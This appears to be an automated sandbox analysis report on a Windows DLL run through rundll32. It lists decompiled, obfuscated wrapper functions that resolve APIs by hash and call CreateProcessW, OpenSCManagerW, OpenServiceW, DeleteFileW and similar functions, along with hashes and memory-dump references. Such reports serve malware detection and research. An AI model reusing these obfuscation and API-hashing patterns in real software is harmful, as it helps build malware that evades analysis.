String ID: OMk
API String ID: 1889721586-456170103
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

				_push(_a56);
				_t71 = __edx;
				_push(_a52);
				_push(_a48);
				_push(0);
				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(0);
				_push(0);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				E10022523(_t54);
				_v28 = 0x2cec17;
				_v24 = 0;
				_v16 = 0x5aadab;
				_v16 = _v16 << 3;
				_v16 = _v16 >> 0xc;
				_v16 = _v16 ^ 0x000031a8;
				_v12 = 0x82119f;
				_v12 = _v12 >> 2;
				_v12 = _v12 + 0xffff09c3;
				_t65 = 0x25;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x0004d7f2;
				_v8 = 0x7cd8a6;
				_v8 = _v8 >> 6;
				_v8 = _v8 | 0x702a8e48;
				_v8 = _v8 + 0xffff37f0;
				_v8 = _v8 ^ 0x702d019b;
				_v20 = 0x367fb2;
				_v20 = _v20 + 0xffff7ba2;
				_v20 = _v20 ^ 0x003ae9c9;
				E10002309(0x2e4, _t65, _t65, 0xbf8568a3, _t65, 0x9c9047d0);
				_t63 = CreateProcessW(_t71, _a16, 0, 0, _a52, 0, 0, 0, _a28, _a48); // executed
				return _t63;
			}

APIs

CreateProcessW.KERNEL32(000C0354,?,00000000,00000000,?,00000000,00000000,00000000,229292B4,?), ref: 100232BB

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction ID: db286c9e9bcad3bd2e87b522c53d89c9dfc5ed19f2ace101bae5327955dfaec9
Opcode Fuzzy Hash: 1c884f6c38555fd1f2acfe04ef4172838376d53041689723563821acbd5a938d
Instruction Fuzzy Hash: 21311476801248BBCF65DF96CD49CDFBFB5FB89704F108188F914A6220D3B58A60DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

0x100119a6
0x100119a7
0x100119aa
0x100119ad
0x100119b0
0x100119b3
0x100119b6
0x100119b9
0x100119bc
0x100119bf
0x100119c3
0x100119c4
0x100119c9
0x100119d3
0x100119d9
0x100119dd
0x100119e4
0x100119eb
0x100119f2
0x100119fe
0x10011a03
0x10011a0b
0x10011a13
0x10011a16
0x10011a1d
0x10011a30
0x10011a38
0x10011a3f
0x10011a4a
0x10011a4d
0x10011a60
0x10011a79
0x10011a7f

APIs

CreateFileW.KERNEL32(D4FB5FE8,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 10002985, Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E10002985(long __ecx, long __edx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				void* _t43;
				void* _t53;
				signed int _t55;
				long _t60;
				long _t61;

				_push(_a12);
				_t60 = __edx;
				_t61 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v20 = 0x610f25;
				_v20 = _v20 ^ 0x98bdb346;
				_v20 = _v20 >> 3;
				_v20 = _v20 ^ 0x13199c72;
				_v16 = 0x24641b;
				_t55 = 0x72;
				_v16 = _v16 * 0x35;
				_v16 = _v16 ^ 0xfebd96de;
				_v16 = _v16 ^ 0xf931a9e3;
				_v12 = 0x6331a9;
				_v12 = _v12 >> 0xb;
				_v12 = _v12 / _t55;
				_v12 = _v12 ^ 0x0006f398;
				_v8 = 0x8145a8;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 << 0xd;
				_v8 = _v8 + 0x8268;
				_v8 = _v8 ^ 0x0405b518;
				E10002309(_t55 + 0x5d, _t55, _t55, 0x9d19c04e, _t55, 0x9c9047d0);
				_t53 = RtlAllocateHeap(_a8, _t60, _t61); // executed
				return _t53;
			}

0x1000298d
0x10002990
0x10002992
0x10002994
0x10002997
0x1000299a
0x1000299b
0x1000299c
0x100029a1
0x100029ab
0x100029b4
0x100029b8
0x100029bf
0x100029cc
0x100029d3
0x100029d6
0x100029dd
0x100029e4
0x100029eb
0x100029f9
0x100029fc
0x10002a03
0x10002a0a
0x10002a0e
0x10002a12
0x10002a19
0x10002a31
0x10002a3e
0x10002a45

APIs

RtlAllocateHeap.NTDLL(F931A9E3,01AD2A76,65B9EDAF,?,?,?,?,?,?,?,?,00000000,229292B5), ref: 10002A3E

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction ID: a28c389faf7b726d87918facb3c60479c9af1eed29e3a2ef13c7030710ba699e
Opcode Fuzzy Hash: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction Fuzzy Hash: 84215372C00208BBDF18CFA8D84A8DEBFB5FB41710F108098E824A6210E3B4AB14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001A1D9, Relevance: 1.6, APIs: 1, Instructions: 57
serviceCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001A1D9(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, int _a16, short* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t48;
				void* _t60;
				signed int _t62;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t48);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xc7e348;
				_v20 = 0x108854;
				_v20 = _v20 + 0xffffaa5a;
				_v20 = _v20 ^ 0x0016e205;
				_v12 = 0x2fa6a1;
				_v12 = _v12 ^ 0x32ad7830;
				_t62 = 5;
				_v12 = _v12 * 0x54;
				_v12 = _v12 ^ 0x92f839ec;
				_v16 = 0x6695de;
				_v16 = _v16 * 0x61;
				_v16 = _v16 ^ 0x26d3982b;
				_v8 = 0xfe457a;
				_v8 = _v8 * 0x1c;
				_v8 = _v8 / _t62;
				_v8 = _v8 + 0xffffd7e2;
				_v8 = _v8 ^ 0x058c81d4;
				E10002309(0x229, _t62, _t62, 0x540b902b, _t62, 0x21ce39be);
				_t60 = OpenServiceW(_a12, _a20, _a16); // executed
				return _t60;
			}

0x1001a1df
0x1001a1e2
0x1001a1e5
0x1001a1e8
0x1001a1eb
0x1001a1f0
0x1001a1f5
0x1001a1fc
0x1001a202
0x1001a209
0x1001a210
0x1001a217
0x1001a21e
0x1001a225
0x1001a232
0x1001a239
0x1001a23c
0x1001a243
0x1001a255
0x1001a258
0x1001a25f
0x1001a26a
0x1001a277
0x1001a27a
0x1001a281
0x1001a294
0x1001a2a5
0x1001a2aa

APIs

OpenServiceW.ADVAPI32(0016E205,00000000,00000000), ref: 1001A2A5

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 840192035c919cdef4810d782994658ce17bfcf84a61f68bdcf29756b0cc9f76
Instruction ID: fedd1cc606632efae3d400c93a220e8e98036f636a1aec4a19a6fd3869fc071c
Opcode Fuzzy Hash: 840192035c919cdef4810d782994658ce17bfcf84a61f68bdcf29756b0cc9f76
Instruction Fuzzy Hash: 122128B1C0020DFFCF04CFE8D946AAEBBB5EB44300F108199E914A6260D7715B549F50

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 100177B6

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

0x1001a56c
0x1001a570
0x1001a571
0x1001a576
0x1001a58a
0x1001a58d
0x1001a594
0x1001a59b
0x1001a59f
0x1001a5a6
0x1001a5ad
0x1001a5b4
0x1001a5bb
0x1001a5c2
0x1001a5c9
0x1001a5d0
0x1001a5d7
0x1001a5f6
0x1001a601
0x1001a606

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6372 Parent PID: 6328 rundll32.exeCOMMON

Executed Functions

Function 1001F790, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E1001F790(void* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t39;
				int _t48;
				signed int _t50;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t39);
				_v20 = 0x305f8e;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0x5f829bc1;
				_v12 = 0x22b27e;
				_v12 = _v12 >> 6;
				_v12 = _v12 + 0x22ee;
				_v12 = _v12 ^ 0x000c4601;
				_v8 = 0xcd41e2;
				_v8 = _v8 + 0xd868;
				_v8 = _v8 + 0xd31f;
				_t50 = 0x5f;
				_v8 = _v8 / _t50;
				_v8 = _v8 ^ 0x000a754c;
				_v16 = 0x592d24;
				_v16 = _v16 | 0x8ee4cdff;
				_v16 = _v16 ^ 0x8efaae11;
				E10002309(_t50 + 0x2c, _t50, _t50, 0x7c50bf37, _t50, 0x9c9047d0);
				_t48 = DeleteFileW(_a8); // executed
				return _t48;
			}

APIs

DeleteFileW.KERNEL32(8EFAAE11), ref: 1001F839

Strings

Lu, xrefs: 1001F7EB
", xrefs: 1001F7C8
Lu, xrefs: 1001F81A
$-Y, xrefs: 1001F802

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: DeleteFile
String ID: $-Y$Lu$Lu$"
API String ID: 4033686569-1114282491
Opcode ID: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction ID: 543db5e143fc82e0febe4e5b84228ca4fb2f9e33671b133290cd188315d44989
Opcode Fuzzy Hash: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction Fuzzy Hash: 7911F5B6C00208FBDF09DFE4CC4A9AEBBB5FB54318F108588E915AA251D3B59B649F50

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,10015191,?,?,?,?,?,?,?,?,?,?,0EB411AB), ref: 1001FF4C

Strings

OMk, xrefs: 1001FEC1

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
String ID: OMk
API String ID: 1889721586-456170103
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

APIs

CreateFileW.KERNEL32(D4FB5FE8,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 100177B6

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000005.00000002.252944713.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.252927331.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.252999854.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
